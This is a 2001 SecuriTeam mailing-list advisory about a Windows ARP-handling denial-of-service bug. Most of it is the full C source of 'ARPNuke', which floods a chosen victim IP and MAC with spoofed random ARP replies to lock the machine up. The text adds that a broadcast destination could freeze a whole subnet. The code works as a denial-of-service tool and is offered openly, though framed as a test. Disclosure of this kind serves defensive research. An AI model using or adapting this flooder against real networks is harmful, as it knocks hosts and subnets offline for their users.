[EXPL] ARPNuke, Windows Network Nuker

From: support@securiteam.com
Date: 08/06/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] ARPNuke, Windows Network Nuker
Message-Id: <20010806112818.EAC7413903@mail.der-keiler.de>
Date: Mon,  6 Aug 2001 13:28:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

  ARPNuke, Windows Network Nuker
------------------------------------------------------------------------

SUMMARY

There is an ARP table-handling bug in Microsoft Windows protocol stacks.
It seems that the ARP handling code uses some inefficient data structure
to manage the ARP entries.

This inefficient handling causes hosts that encounter a large amount of
ARP requests (valid and invalid) to lockup. The following is an exploit
code that can be used to test for this vulnerability.

DETAILS

Sending Windows machines a huge amount of ARP packets with a random source
IP and arbitrary MAC address, results in 100% CPU utilization and a
machine lock up. The machine wakes up after the packets stream has been
stopped.

The needed traffic to cause this vulnerability is not high. The ARPNuke
code below will send an initial sequence of about 10000 ARP packets, and
then go to ´burst mode´ sending definable short burst of random ARP
packets every 10 millisecond. The lockup occurred at about 80kb/sec (seq
about 45) on a PII/350.

Even worse: it seems that is possible to kill a whole subnet using
broadcast destination MAC (that is ff:ff:ff:ff:ff:ff) and arbitrary source
IP.

Exploit:
/****************************************************
* *
* ARPNuke *
* nuke local hosts by random ARP traffic *
* by IhaQueR *
* *
****************************************************/

extern "C" {
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pcap.h>
#include <libnet.h>
#include <sys/times.h>
}

#define TMPBUFLEN 256
#define IP_LEN 4
#define MAC_LEN 6

// packet burst
#define PSEQ 50

// packet preload
#define STARTSEQ 15000

const unsigned char ethernull[6] = {0,0,0,0,0,0};
const unsigned char etherbcast[6] = {255,255,255,255,255,255};
u_char* sniffdevice;

// prints MAC
void print_mac(unsigned char* mac)
{
    printf("\nMAC: %x:%x:%x:%x:%x:%x ", (unsigned)mac[0],
(unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4],
(unsigned)mac[5]);
}

// sprints MAC
char* sprint_mac(unsigned char* mac)
{
static char tmpbuf[TMPBUFLEN];

    sprintf(tmpbuf, "%x:%x:%x:%x:%x:%x", (unsigned)mac[0],
(unsigned)mac[1], (unsigned)mac[2], (unsigned)mac[3], (unsigned)mac[4],
(unsigned)mac[5]);

return tmpbuf;
}

// prints IP
void print_ip(unsigned char* ip)
{
    printf("\nIP: %u.%u.%u.%u ", (unsigned)ip[0], (unsigned)ip[1],
(unsigned)ip[2], (unsigned)ip[3]);
}

// sprints IP
char* sprint_ip(unsigned char* ip)
{
static char tmpbuf[TMPBUFLEN];

    sprintf(tmpbuf, "%u.%u.%u.%u", (unsigned)ip[0], (unsigned)ip[1],
(unsigned)ip[2], (unsigned)ip[3]);

return tmpbuf;
}

// reads MAC
void get_mac(u_char* mac, char* optarg)
{
    int i=0;
    char* ptr = strtok(optarg, ":-");
    while(ptr) {
      unsigned nmb;
      sscanf(ptr, "%x", &nmb);
      mac[i] = (u_char)nmb;
      ptr = strtok(NULL, ":-");
      i++;
    }
}

// reads IP
void get_ip(u_char* ip, char* ipstr)
{
    int i=0;
    char* ptr = strtok(ipstr, ".");
    while(ptr && i<4) {
      ip[i] = (unsigned char)atoi(ptr);
      ptr = strtok(NULL, ".");
      i++;
    }
}

main(int ac, char** av)
{

// usage
    if(ac<4)
      printf("\nusage: %s <victim ip> <victim mac> <duration> [seq
len]\n\n", av[0]), exit(1);

    srand(time(NULL));

    long long duration = atoi(av[3]);

    unsigned pseq = PSEQ;
    if(ac>4)
      pseq = atoi(av[4]);

    u_char victim_mac[MAC_LEN];
    get_mac(victim_mac, av[2]);

    u_char victim_ip[IP_LEN];
    get_ip(victim_ip, av[1]);

    u_char randmac[MAC_LEN];
    u_char randip[IP_LEN];
    bzero(randmac, sizeof(randmac));

    print_mac(victim_mac);
    print_ip(victim_ip);
    printf("\npacket burst: %d", pseq);
    printf("\nfreezing host for %d seconds\n", (int)duration);

    struct timeval tv;
    gettimeofday(&tv, NULL);
    long long ts1 = tv.tv_sec;
    ts1 *= 1000000;
    ts1 += tv.tv_usec;

// init libnet
    struct sockaddr_in sin;
    u_char errbuf[TMPBUFLEN];
    if(libnet_select_device(&sin, (unsigned char **)&sniffdevice,
(u_char*)errbuf) != 1) {
      printf("\nERROR selecting device");
    }
    else {
      libnet_link_int* mylink;
      mylink = libnet_open_link_interface((char*)sniffdevice,
(char*)errbuf);
      if(mylink == NULL) {
        printf("\nERROR opening link interface: %s", errbuf);
      }
      else {
        long long ts2 = ts1;
        int i=0, j=0;

// send random arp packets
        for(i=0; i<sizeof(randmac); i++)
          randmac[i] = rand() % 256;
        
        u_char buf[64];
        bzero(buf, sizeof(buf));

        while((ts2-ts1) < duration*1000000) {

          gettimeofday(&tv, NULL);
          ts2 = tv.tv_sec;
          ts2 *= 1000000;
          ts2 += tv.tv_usec;

          if(j > STARTSEQ && (j % pseq) == (pseq-1)) {
            usleep(1);
          }
          j++;

          for(i=0; i<sizeof(randip); i++)
            randip[i] = rand() % 256;

          libnet_build_ethernet((u_char *)victim_mac, randmac,
ETHERTYPE_ARP, NULL, 0, buf);
          libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
ARPOP_REPLY,
                   randmac, randip, victim_mac, victim_ip, NULL, 0,
buf+LIBNET_ETH_H);
          libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H +
LIBNET_ETH_H);
        }

        long long mbytes = ((long long)j)*(LIBNET_ARP_H + LIBNET_ETH_H);
        double mb = mbytes;
        mb /= 1024.0;
        mb /= 1024.0;

        mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H + LIBNET_ETH_H);
        double mbr = mbytes;
        mbr /= 1024.0;
        mbr /= 1024.0;
        mbr /= duration;

        printf("\npackets sent\t%d [pkt]\tsustained rate: %d [pkt/s]", j,
(j-STARTSEQ)/duration);
        printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf
[mb/s]", mb, mbr);
      }
    }

    printf("\n\n");

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@starzetz.de> Paul
Starzetz.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: Routing 127.0.0.1!? strange errors
    ... but I'm stumped as to how those packets could even leave ... win=0 ACK RST ... "show arp" and the go to then track the MAC address to the correct port on ...
    (comp.dcom.sys.cisco)
  • Re: ARP requests
    ... Keep in mind that ARP packets are a normal part of the communication process ... Your IP layer will issue an ARP ... > packet, a DHCP Request, with just your hardware (MAC) address. ...
    (comp.security.firewalls)
  • Re: resolving Mac adress
    ... > Does anyone knows how to get the Mac adress of a remote host by giving the ... On Linux you can look at the arp cache. ... packets destined to and from only those valid ranges. ...
    (comp.security.unix)
  • Re: resolving Mac adress
    ... > Does anyone knows how to get the Mac adress of a remote host by giving the ... On Linux you can look at the arp cache. ... packets destined to and from only those valid ranges. ...
    (comp.security.unix)
  • Re: resolving Mac adress
    ... >> Does anyone knows how to get the Mac adress of a remote host by giving the ... There is no arp resolution. ... > packets destined to and from only those valid ranges. ...
    (comp.security.unix)